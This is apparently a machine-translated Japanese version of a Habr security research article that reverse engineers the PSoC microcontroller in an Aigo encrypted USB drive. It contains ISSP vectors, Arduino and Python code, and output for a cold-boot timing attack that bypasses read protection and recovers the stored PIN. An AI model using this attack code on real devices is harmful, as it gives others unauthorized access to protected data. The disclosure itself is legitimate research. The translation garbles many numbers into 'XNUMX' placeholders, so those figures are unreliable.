これは、外部自己暗号化ドライブのハッキングに関する記事の 8671 番目で最後の部分です。 最近、同僚がパトリオット (アイゴ) SKXNUMX ハード ドライブを私に持ってきてくれたので、それを元に戻すことにし、今、そこから得られたものを共有していることを思い出してください。 続きを読む前に必ずお読みください 最初の部分 記事。

4. 内部 PSoC フラッシュ ドライブからダンプの取得を開始します
5. ISSPプロトコル
– 5.1. 物性研究所とは
– 5.2。 ベクトルの謎を解く
– 5.3. PSoC との通信
– 5.4。 オンチップレジスタの識別
– 5.5。 セキュリティビット
6. 最初の（失敗した）攻撃: ROMX
7. XNUMX 番目の攻撃: コールド ブート トレース
– 7.1。 実装
– 7.2。 結果を読む
– 7.3。 フラッシュバイナリ再構築
– 7.4。 PINコードの保存先アドレスを調べる
– 7.5。 ブロックNo.126のダンプ採取
– 7.6。 PINコードの回復
8. 次は何ですか?
9。 結論

4. 内部 PSoC フラッシュ ドライブからダンプの取得を開始します

つまり、([最初の部分]() で確立したように) すべてが PIN コードが PSoC のフラッシュ深度に保存されていることを示しています。 したがって、これらのフラッシュ深さを読み取る必要があります。 必要な作業の前に:

• マイクロコントローラーとの「通信」を制御します。
• この「通信」が外部からの読み取りから保護されているかどうかを確認する方法を見つけます。
• 保護を回避する方法を見つけてください。

有効な PIN コードを探すのが適切な場所が XNUMX つあります。

• 内蔵フラッシュメモリ。
• SRAM。PIN コードを保存して、ユーザーが入力した PIN コードと比較できます。

今後に注目して、ISSP プロトコルの文書化されていない機能を無効にした後も、「コールド ブート トレース」と呼ばれるハードウェア攻撃を使用してセキュリティ システムをバイパスし、内部 PSoC フラッシュ ドライブのダンプを取得できたことに注意してください。 これにより、実際の PIN コードを直接ダンプすることができました。

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

最終的なプログラムコード:

• HSSP用のArduinoコード;
• Python ドライバーと ISSP 逆アセンブラー.

5. ISSPプロトコル

5.1. 物性研究所とは

マイクロコントローラーとの「通信」は、「ベンダー間」からシリアル プロトコル (たとえば、Microchip 社の PIC の ICSP) を使用した対話まで、さまざまな意味を持ちます。

サイプレスには、ISSP (インシステム シリアル プログラミング プロトコル) と呼ばれる、このための独自のプロトコルがあります。これについては、部分的に説明されています。 技術仕様. US7185162特許 もいくつかの情報を提供します。 HSSP と呼ばれる、オープンソースに相当するものもあります (これについては後で使用します)。 ISSP は次のように動作します。

• PSoC を再起動します。
• マジック ナンバーをこの PSoC のシリアル データ ピンに出力します。 外部プログラミングモードに入る。
• 送信コマンドは、「ベクトル」と呼ばれる長いビット列です。

ISSP ドキュメントでは、ごく少数のコマンドに対してのみこれらのベクトルを定義しています。

• 初期化-1
• 初期化-2
• Initialize-3 (3V および 5V オプション)
• IDセットアップ
• 読み取りIDワード
• SET-BLOCK-NUM: 10011111010dddddddd111、dddddddd=ブロック番号
• 一括消去
• プログラムブロック
• セットアップの検証
• 読み取りバイト: 10110aaaaaaZDDDDDDDDZ1、DDDDDDDD = データ出力、aaaaaa = アドレス (6 ビット)
• 書き込みバイト: 10010aaaaadddddddd111、dddddddd = データ入力、aaaaaa = アドレス (6 ビット)
• 安全
• チェックサムのセットアップ
• READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1、DDDDDDDDDDDDDDDD = データ出力: デバイス チェックサム
• ブロック消去

たとえば、Initialize-2 のベクトルは次のようになります。

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

すべてのベクトルは同じ長さ (22 ビット) を持ちます。 HSSP のドキュメントには、ISSP に関する追加情報が含まれています。「ISSP ベクトルは、一連の命令を表すビット シーケンスにすぎません。」

5.2. ベクトルの謎を解く

ここで何が起こっているのか見てみましょう。 当初、私はこれらの同じベクトルが M8C 命令の生バージョンであると仮定しましたが、この仮説を確認した後、演算のオペコードが一致しないことがわかりました。

次に、上記のベクトルをグーグルで検索して見つけました ここにあります 著者は詳細には触れていないが、いくつかの有益なヒントを提供している研究がある。「各命令は、8 つのニーモニック (RAM からの読み取り、RAM への書き込み、レジスタの読み取り、レジスタの書き込み) の 8 つに対応する XNUMX ビットで始まります。 次に XNUMX つのアドレス ビット、続いて XNUMX つのデータ ビット (読み取りまたは書き込み)、最後に XNUMX つのストップ ビットがあります。」

その後、監視 ROM (SROM) セクションから非常に役立つ情報を収集することができました。 技術マニュアル。 SROM は PSoC 内のハードコーディングされた ROM であり、ユーザー空間で実行されるプログラム コードに (Syscall と同様の方法で) ユーティリティ関数を提供します。

• 00h:SWBootリセット
• 01h: 読み取りブロック
• 02h: ライトブロック
• 03h: ブロック消去
• 06h: テーブル読み取り
• 07h: チェックサム
• 08h: 校正0
• 09h: 校正1

ベクトル名を SROM 関数と比較することで、このプロトコルでサポートされているさまざまな操作を予期される SROM パラメーターにマッピングできます。 このおかげで、ISSP ベクトルの最初の XNUMX ビットをデコードできます。

• 100 => 「ミミズ」
• 101 => 「rdmem」
• 110 => 「不正」
• 111 => 「rdreg」

ただし、オンチップ プロセスを完全に理解するには、PSoC との直接通信を通じてのみ得られます。

5.3. PSoC との通信

ダーク・ペトラウツキーはすでに 移植された Arduino 上の Cypress の HSSP コード。Arduino Uno を使用してキーボード ボードの ISSP コネクタに接続しました。

研究の過程で、Dirk のコードをかなり変更したことに注意してください。 私の変更は GitHub で見つけることができます。 ここで および Arduino と通信するための対応する Python スクリプト (私のリポジトリ内) cypress_psoc_tools.

そこで、Arduinoを使って、まず「通信」に「公式」のベクトルだけを使いました。 VERIFYコマンドを使用して内蔵ROMを読み込んでみました。 さすがにこれは無理でした。 おそらく、フラッシュドライブ内で読み取り保護ビットが有効になっていることが原因と考えられます。

次に、メモリ/レジスタの書き込みと読み取りのための独自の単純なベクトルをいくつか作成しました。 フラッシュ ドライブが保護されている場合でも、SROM 全体を読み取ることができることに注意してください。

5.4. オンチップレジスタの識別

「逆アセンブルされた」ベクトルを確認したところ、デバイスが文書化されていないレジスタ (0xF8 ～ 0xFA) を使用して、保護をバイパスして直接実行される M8C オペコードを指定していることがわかりました。 これにより、「ADD」、「MOV A、X」、「PUSH」、「JMP」などのさまざまなオペコードを実行できるようになりました。 それらのおかげで (レジスタに対する副作用を調べることで)、文書化されていないレジスタのどれが実際には通常のレジスタ (A、X、SP、PC) であるかを判断することができました。

その結果、HSSP_disas.rb ツールによって生成された「逆アセンブルされた」コードは次のようになります (わかりやすくするためにコメントを追加しました)。

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. セキュリティビット

この段階ではすでに PSoC と通信できていますが、フラッシュ ドライブのセキュリティ ビットに関する信頼できる情報がまだありません。 サイプレスがデバイスのユーザーに保護が有効になっているかどうかを確認する手段を提供していないという事実には非常に驚きました。 私は Google をさらに詳しく調べて、Cypress が提供した HSSP コードが、Dirk が修正を公開した後に更新されたことを最終的に理解しました。 など！ この新しいベクトルが登場しました。

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

このベクトル (psoc.py の read_security_data を参照) を使用して、SRAM の 0x80 のすべてのセキュリティ ビットを取得します。保護されたブロックごとに XNUMX ビットあります。

結果は憂鬱なもので、「外部からの読み取りと書き込みを無効にする」モードではすべてが保護されます。 したがって、フラッシュ ドライブから何も読み取ることができないだけでなく、何も書き込むこともできません (たとえば、そこに ROM ダンパーをインストールするなど)。 そして、保護を無効にする唯一の方法は、チップ全体を完全に消去することです。 🙁

6. 最初の（失敗した）攻撃: ROMX

ただし、次のトリックを試すことができます。任意のオペコードを実行できるのであれば、フラッシュ メモリの読み取りに使用される ROMX を実行してみてはいかがでしょうか。 このアプローチは成功する可能性が高いです。 SROM (ベクトルによって使用される) からデータを読み取る ReadBlock 関数は、それが ISSP から呼び出されたかどうかをチェックするためです。 ただし、ROMX オペコードにはそのようなチェックがない可能性があります。 (Arduino コードにいくつかのヘルパー クラスを追加した後の) Python コードは次のとおりです。

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

残念ながら、このコードは機能しません。 🙁 というか、それは機能しますが、出力で独自のオペコード (0x28 0x30 0x40) を取得します。 デバイスの対応する機能が読み取り保護の要素であるとは思いません。 これはエンジニアリングのトリックに似ています。外部オペコードを実行すると、ROM バスが一時バッファにリダイレクトされます。

7. XNUMX 番目の攻撃: コールド ブート トレース

ROMX トリックが機能しなかったため、このトリックの別のバリエーションについて考え始めました。出版物で説明されています。 「マイクロコントローラーのファームウェア保護に光を当てすぎている」.

7.1.実装

ISSP のドキュメントでは、CHECKSUM-SETUP の次のベクトルが提供されています。

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

これは基本的に、ドキュメント (斜体で私のもの) に示されているように、SROM 関数 0x07 を呼び出します。

この機能はチェックサム検証を行います。 16 つのフラッシュ バンク内のユーザー指定のブロック数の 1 ビット チェックサムをゼロから計算します。 BLOCKID パラメータは、チェックサムの計算時に使用されるブロックの数を渡すために使用されます。 値「XNUMX」はブロック XNUMX のチェックサムのみを計算します。 一方 「0」を指定すると、フラッシュ バンクの 256 ブロックすべての合計チェックサムが計算されます。 16 ビットのチェックサムは、KEY1 と KEY2 を介して返されます。 KEY1 パラメータにはチェックサムの下位 8 ビットが格納され、KEY2 パラメータには上位 8 ビットが格納されます。 複数のフラッシュ バンクを持つデバイスの場合、チェックサム関数は各フラッシュ バンクに対して個別に呼び出されます。 動作するバンク番号は、FLS_PR1 レジスタによって設定されます (ターゲット フラッシュ バンクに対応するレジスタ内のビットを設定することによって)。

これは単純なチェックサムであることに注意してください。バイトは単純に次々に追加されます。 派手な CRC の癖はありません。 さらに、M8C コアには非常に小さなレジスタ セットがあることがわかっていたので、チェックサムを計算するときに、中間値が最終的に出力される同じ変数に記録されると想定しました: KEY1 (0xF8) / KEY2 ( 0xF9)。

したがって、理論的には、私の攻撃は次のようになります。

1. ISSP経由で接続します。
2. CHECKSUM-SETUP ベクトルを使用してチェックサム計算を開始します。
3. 指定された時間 T 後にプロセッサを再起動します。
4. RAM を読み取り、現在のチェックサム C を取得します。
5. 手順 3 と 4 を繰り返し、毎回 T を少しずつ増やします。
6. 現在のチェックサムから以前のチェックサム C を減算することで、フラッシュ ドライブからデータを復元します。

ただし、問題があります。再起動後に送信する必要がある Initialize-1 ベクトルが KEY1 と KEY2 を上書きします。

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

このコードは、Calibrate1 (SROM 関数 9) を呼び出すことで貴重なチェックサムを上書きします...おそらく、マジック ナンバー (上記のコードの先頭から) を送信してプログラミング モードに入り、その後 SRAM を読み取ることができるでしょうか? そしてはい、それはうまくいきます！ この攻撃を実装する Arduino コードは非常に単純です。

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

1. checkum_delay を読み取ります。
2. チェックサム計算 (send_checksum_v) を実行します。
3. 指定された期間待機します。 次の落とし穴を考慮してください。
   • 結果がわかるまでかなりの時間を無駄にした 遅延マイクロ秒 遅延が 16383 μs を超えない場合にのみ正しく動作します。
   • そして、入力として 0 が渡された場合、delayMicroseconds が完全に誤って動作することが判明するまで、同じ時間を再度強制終了しました。
4. PSoC をプログラミング モードで再起動します (初期化ベクトルは送信せず、マジック ナンバーを送信するだけです)。

Python での最終コード:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

簡単に言うと、このコードが行うことは次のとおりです。

1. PSoC を再起動します (そして、PSoC にマジック ナンバーを送信します)。
2. 完全な初期化ベクトルを送信します。
3. Arduino 関数 Cmnd_STK_START_CSUM (0x85) を呼び出します。マイクロ秒単位の遅延がパラメータとして渡されます。
4. チェックサム (0xF8 および 0xF9) と文書化されていないレジスタ 0xF1 を読み取ります。

このコードは 10 マイクロ秒間に 1 回実行されます。 0xF1 は、チェックサムの計算時に変更された唯一のレジスタであるため、ここに含まれています。 おそらく、それは算術論理ユニットによって使用されるある種の一時変数です。 Arduino が寿命の兆候を示さなくなったときに (理由はわかりませんが)、picocom を使用して Arduino をリセットするために私が使用した醜いハックに注目してください。

7.2. 結果を読む

Python スクリプトの結果は次のようになります (読みやすいように簡略化しています)。

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

そうは言っても、問題があります。実際のチェックサムを使用して操作しているため、null バイトによって読み取られた値が変更されることはありません。 ただし、計算手順全体 (8192 バイト) には 0,1478 秒かかります (実行するたびに多少の変動はあります)。これは 18,04 バイトあたり約 XNUMX μs に相当するため、この時間を適切なタイミングでチェックサム値をチェックするために使用できます。 最初の実行では、計算手順の継続時間が常にほぼ同じであるため、すべてが非常に簡単に読み取られます。 ただし、各実行の「わずかなタイミングのずれ」が積み重なると重大になるため、このダンプの最後は正確さが低くなります。

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

これは、マイクロ秒の遅延ごとに 10 回のダンプに相当します。 フラッシュ ドライブの 8192 バイトすべてをダンプするための合計作業時間は約 48 時間です。

7.3. フラッシュバイナリ再構築

すべての時間のずれを考慮して、フラッシュ ドライブのプログラム コードを完全に再構築するコードの作成はまだ完了していません。 ただし、このコードの先頭はすでに復元しています。 正しく実行できたことを確認するために、m8cdis を使用して逆アセンブルしました。

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

かなり納得できそうです！

7.4. PINコードの保存先アドレスを調べる

必要なときにチェックサムを読み取ることができるようになったので、次のときにチェックサムがどこでどのように変化するかを簡単に確認できます。

• 間違った PIN コードを入力します。
• PINコードを変更します。

まず、おおよそのストレージ アドレスを見つけるために、再起動後に 10 ミリ秒単位でチェックサム ダンプを取得しました。 次に、間違ったPINを入力し、同じことをしました。

多くの変更があったため、結果はあまり楽しいものではありませんでした。 しかし最終的には、120000 μs から 140000 μs の遅延の間にチェックサムが変化したと判断できました。 しかし、そこで表示した「ピンコード」は完全に間違っていました。これは、0 が渡されると奇妙な動作をする、DelayMicroseconds プロシージャのアーティファクトによるものです。

そして、3 時間近く費やした後、SROM システム コール CheckSum が、チェックサムのブロック数を指定する引数を入力として受け取ることを思い出しました。 それ。 最大 64 バイト ブロックの精度で、PIN コードと「不正試行」カウンターの保存アドレスを簡単に特定できます。

最初の実行では次の結果が得られました。

次に、PIN コードを「123456」から「1234567」に変更すると、次のようになりました。

したがって、PIN コードと誤試行カウンターはブロック No.126 に格納されているようです。

7.5。 ブロックNo.126のダンプ採取

ブロック #126 は、私の完全なダンプでは、チェックサム計算の開始から 125x64x18 = 144000μs あたりに位置するはずであり、それは非常に妥当であるように見えます。 次に、多数の無効なダンプ (「軽微なタイミング偏差」の蓄積による) を手動で選り分けた後、最終的に次のバイトを取得しました (レイテンシー 145527 μs)。

PIN コードが暗号化されていない形式で保存されていることは明らかです。 もちろん、これらの値は ASCII コードで書かれているわけではありませんが、結局のところ、静電容量式キーボードから取得した読み取り値を反映していることがわかります。

最後に、さらにいくつかのテストを実行して、不正な試行カウンタがどこに保存されているかを見つけました。 結果は次のとおりです。

0xFF - 「15 回の試行」を意味し、試行が失敗するたびに減少します。

7.6. PINコードの回復

上記をまとめた私の醜いコードは次のとおりです。

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

実行結果は次のとおりです。

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

万歳！ 効く！

私が使用したレイテンシの値は、おそらく XNUMX つの特定の PSoC、つまり私が使用した PSoC に関連していることに注意してください。

8. 次は何ですか?

そこで、Aigo ドライブのコンテキストで PSoC 側について要約しましょう。

• SRAM は読み取り保護されていても読み取ることができます。
• コールド ブート トレース攻撃を使用し、PIN コードを直接読み取ることで、スワイプ防止保護をバイパスできます。

ただし、私たちの攻撃には同期の問題によりいくつかの欠陥があります。 次のように改善できる可能性があります。

• 「コールド ブート トレース」攻撃の結果として取得された出力データを正しくデコードするユーティリティを作成します。
• FPGA ガジェットを使用して、より正確な時間遅延を作成します (または Arduino ハードウェア タイマーを使用します)。
• 別の攻撃を試みます。故意に間違った PIN コードを入力し、再起動して RAM をダンプし、比較のために正しい PIN コードが RAM に保存されることを期待します。 ただし、Arduino でこれを行うのはそれほど簡単ではありません。Arduino の信号レベルは 5 ボルトですが、今回調べているボードは 3,3 ボルトの信号で動作するためです。

試すことができる興味深いことの XNUMX つは、電圧レベルを調整して読み取り保護をバイパスすることです。 このアプローチが機能すれば、不正確なタイミング遅延によるチェックサムの読み取りに依存する代わりに、フラッシュ ドライブから完全に正確なデータを取得できるようになります。

SROM はおそらく ReadBlock システム コールを介してガード ビットを読み取るため、次と同じことができます。 説明された Dmitry Nedospasov のブログ - カンファレンスで発表された Chris Gerlinski の攻撃の再実装 「REcon ブリュッセル 2017」.

実行できるもう XNUMX つの楽しいことは、チップからケースを削り取ることです。SRAM ダンプを取得し、文書化されていないシステム コールと脆弱性を特定します。

9。 結論

したがって、このドライブの保護には、まだ不十分な点が多くあります。なぜなら、このドライブは、PIN コードを保存するために通常の (「強化されていない」) マイクロコントローラーを使用しているからです。それに、データがどうなっているかは (まだ) 調べていません。このデバイスでは暗号化されています!

アイゴに何を勧めますか？ 暗号化された HDD ドライブのいくつかのモデルを分析した後、2015 年に私は プレゼンテーション SyScan で、彼はいくつかの外付け HDD ドライブのセキュリティ問題を調査し、改善できる点について推奨しました。 🙂

私はこの調査に 40 つの週末と数晩を費やしました。 合計約40時間。 最初 (ディスクを開いたとき) から最後 (PIN コードダンプ) まで数えます。 同じ XNUMX 時間には、この記事を書くのに費やした時間も含まれます。 とても刺激的な旅行でした。

出所： habr.com